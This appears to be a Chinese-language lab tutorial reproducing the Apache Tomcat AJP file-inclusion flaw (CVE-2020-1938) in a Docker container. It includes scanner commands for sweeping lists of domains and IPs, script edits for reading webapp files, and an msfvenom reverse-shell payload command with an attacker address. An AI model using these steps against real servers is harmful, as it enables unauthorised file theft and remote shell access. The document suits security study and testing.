影響版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
復現
環境准備
選取一個版本受影響的Tomcat, 我們這里在Docker hub上找了一個官方9.0.30版本的Tomcat鏡像來復現
docker pull tomcat:9.0.30-jdk8-adoptopenjdk-hotspot
運行容器后, 進入容器里的/usr/local/tomcat目錄, 將webapps.dist下的內容復制到webapps目錄下
docker run --rm -p 8009:8009 -p 8080:8080 -d tomcat:9.0.30-jdk8-adoptopenjdk-hotspot
訪問8080端口,查看Tomcat是否正常運行
工具准備
訪問下面的鏈接或在github上自己尋找
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
簡單測試
threading-find-port-8009.py用於找出開放8009端口的域名或IP, 我們將要掃描的域名或IP放於ip.txt
運行threading-find-port-8009.py后會生成8009.txt, 它保存 ip.txt 中開放8009端口的域名/IP
python threading-find-port-8009.py
threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py從8009.txt中篩選出符合漏洞的url, 放置於vul.txt中. 最后vul.txt中存在的域名即為含有漏洞的域名.
python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
跨目錄讀取
腳本默認讀取ROOT目錄下的文件, 如果想讀取webapps其他目錄下的文件, 可以對腳本進行簡單的修改
不可以跨目錄讀取/etc/passwd等文件, 只能讀取和包含webapps目錄下的文件
修改“/asdf”就可以實現跨目錄讀取. 比如我們要讀取test目錄下的test.txt
_,data = t.perform_request('/test/asdf',attributes=[
在webapps下的創建一個test目錄, 放上一個test.txt文件
然后用修改后的腳本讀取這個文件即可
反彈shell
如果服務器同時存在文件上傳漏洞, 則可以進一步取得shell. 我們先修改一下腳本, 在“/asdf”后面加上“.jsp”即可
_,data = t.perform_request('/asdf.jsp',attributes=[
生成Payload, 其中192.168.125.130是攻擊者地址
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
設置好payload,然后開始監聽
將shell.txt放到webapps的ROOT目錄下后,運行腳本
獲得shell
防護建議
http://blog.nsfocus.net/cve-2020-1938/
聲明
本文僅用於安全自測及交流學習,請勿用於非法操作。利用本文造成的任何直接或間接后果,由使用者本人負責。
參考資料
https://www.lstazl.com/tomcat%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9ecnvd-2020-1048/
https://www.geek-by.xyz/2020/02/21/cve-2020-1938-apache-tomcat-ajp-wen-jian-bao-han-lou-dong/